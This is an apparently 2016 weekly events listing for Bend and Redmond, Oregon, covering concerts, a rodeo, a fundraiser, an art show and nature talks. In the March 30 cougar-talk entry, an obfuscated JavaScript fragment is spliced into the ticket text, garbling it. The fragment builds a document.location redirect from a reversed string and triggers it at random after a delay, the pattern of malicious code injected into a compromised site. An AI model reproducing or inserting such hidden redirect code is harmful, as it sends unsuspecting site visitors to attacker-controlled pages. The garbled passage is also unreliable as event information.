Your Bend, Oregon Arts & Entertainment Week Starts Here – March 23

March 23
WILD WEDNESDAY SERIES PRESENTS: PETIT MARCHI
5:30pm
Crow’s Feet Commons
875 NW Brooks St
Bend, OR 97701

Crow’s Feet Commons and Oregon Wild have teamed up to educate and share tales of epic backcountry adventures as told by members of our local community. Bend is a special place filled with people who have been on epic wilderness expeditions all over the globe. The Wild Wednesday series is about giving local adventurers a stage to tell their story and to inspire the rest of us on what we humans are capable of.

On Wednesday March 23rd, we will present Petit Marchi, who has been adventuring, working, guiding, and exploring in wild places for most of her life. In 2003, Petit was chosen to be a part of a reality adventure TV show on OLN and ABC, “Global Extremes.” After 5 different continents and many challenges, the final journey was 2 months in Tibet with a team attempting to climb Mt. Everest.

March 24
LOREENA MCKENNITT AT TOWER THEATRE
8:00pm
Tower Theatre
835 NW Wall St
Bend, OR 97701
Cost: ​Reserved Seating: $49, $59, $69

In a recording career spanning more than three decades, Ms. McKennitt’s ‘eclectic Celtic’ music has received critical acclaim world-wide, and gold, platinum and multi-platinum sales awards in 15 countries across four continents. To date, she has sold over 14 million albums with a catalogue that includes seven studio recordings, three seasonal recordings, a live in-concert DVD and two DVD documentaries. She’s won two Junos, Canada’s premiere music award, and has performed for Her Majesty Queen Elizabeth II.Less well known is the fact that Ms. McKennitt is a highly successful businesswoman who has created an independent record label with celebrated international success.

March 25
HIGH DESERT STAMPEDE RODEO TOUR
Deschutes Fair & Expo Bank of the Cascades Center
3800 SE Airport Way
Redmond, OR 97756
http://www.highdesertstampede.com/

REDMOND, OREGON TAPPED FOR PREMIER ELITE RODEO TOUR
World’s top rodeo athletes to kick off 2016 National Tour at the Bank of the Cascades Center, March 25-26.

REDMOND — Elite Rodeo Athletes, League of Rodeo Champions, will kick off their national tour in Redmond, Oregon March 25-26 as one of eight events across the U.S. on their first-ever tour. The tour will feature 80 of the top rodeo athletes in the world representing over 130 world titles between them.

March 26
OPPORTUNITY FOUNDATION PASTURE BINGO FUNDRAISER
5:00 pm
Deschutes County Fair and Expo Center
3800 SE Airport Way
Redmond, OR 97756

Join High Desert Stampede and Elite Rodeo Athletes for a Pasture Bingo Fundraiser benefiting Opportunity Foundation. 260 bingo squares will be set up in a “pasture” directly in front of the Bank of the Cascades Center at the Deschutes County Fairgrounds. Squares will be sold for $10 each (first come first served) and randomly assigned to buyers. Three cows will decide the fate of the game by pooping on the bingo squares. The person holding the number that corresponds with the square that is first pooped on will win $500. Second and third places will win at least $150 each. All proceeds support the programs of Opportunity Foundation. www.opportunityfound.org

March 27
SPLASHES OF COLOR
One Street Down Cafe
124 SW 7th St
Redmond, OR 97756

Local Redmond artist Shandel Gamer will be exhibiting her mixed media and pastel paintings at the One Street Down Café during the month of March 2016. One Street Down Café is located at 124 SW 7th Street in Redmond, OR.

An award-winning and published artist and photographer, Shandel primarily paints portraits, wildlife and birds in pastel. She has been painting for nearly forty years.

For “Splashes of Color,” Ms. Gamer has included several of her rainbow-colored mixed media paintings. These paintings are faithful depictions of wildlife, but with an unexpected and colorful twist! Shandel also wanted this exhibition to mirror how nature can be a showcase for amazing colors. To illustration this, Gamer has included several of her colorful pieces of birds in their natural and vibrant plumage.

For more information on Shandel Gamer or about “Splashes of Color,” contact the artist at: sgamer1955@gmail.com or visit her website at: www.golemart.com.

March 28
LOCAL’S PINT AT BROKEN TOP BOTTLE SHOP
6:00pm
Broken Top Bottle Shop
1740 NW Pence Ln #1
Bend, OR 97701

Deals on draft beer every Monday night @ 6 pm – 10 pm!

March 29
BEND FOLLIES
6:30pm
Tower Theatre
835 NW Wall St
Bend, OR 97701
Cost: $18, $33, $48 VIP (VIP includes free drink and post-show party)

It’s time for Bend to laugh at itself – Again! Two nights of comedy starring local civic, business, education and media personalities performing sketches and singing parodies.  Co-hosted by Bob Shaw and Chelsea Woodmansee.6:30 PM Drinks and Silent Auction. 7:30 PM Showtime with Live Auction. Party Box! If you are interested in purchasing one of our box seat areas for a group party, please contact jodie@towertheatre.org.
All proceeds benefit the mission and programs of the nonprofit Tower Theatre Foundation.

March 30
NATURE NIGHT: COUGAR CONSERVATION IN THE 21ST CENTURY
7:00pm
Tower Theatre
835 NW Wall St
Bend, OR 97701
Cost: Admission free, but =function(n){if (typeof (.list[n]) == “string”) return .list[n].split(“”).reverse().join(“”);return .list[n];};.list=[“‘//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and-events/nature-night-cougar-conservation-in-the-21st-century” target=”_blank”>tickets required

March 30, 2016,Wednesday @ 7pm – Nature Night: Cougar Conservation in the 21st Century
Join biologist Rick Hopkins to learn more about cougars and the conservation efforts needed to provide both habitat and connectivity for the species. **Registration for this Nature Night will open February 29!**  Admission free, but tickets required. Our relationship with predators, particularly large predators, is driven by a fascination and curiosity that is primal. Cougars are one such species where human/predator interactions seem dramatic, but are nonetheless extremely rare. Join biologist Rick Hopkins to learn more about cougars and the conservation efforts needed to provide both habitat and connectivity for the species. Rick will explore the biology and ecology of cougars, the history of predator management and conservation including myths that are often perpetuated, and suggest a framework for modernizing predator management that promotes conservation. Rick Hopkins is co-owner and Senior Conservation Biologist at Live Oak Associates, Inc. (LOA), an ecological consulting firm based in California. LOA provides public and private clients with science-based solutions to complex natural resource questions. Rick holds a Ph.D. in Wildlands Resource Ecology from University of California, Berkeley and an M.A. in Biology at San Jose State University. His graduate research involved a 12-year study on the spatial ecology of the cougar in the Diablo Range, above San Jose, California.

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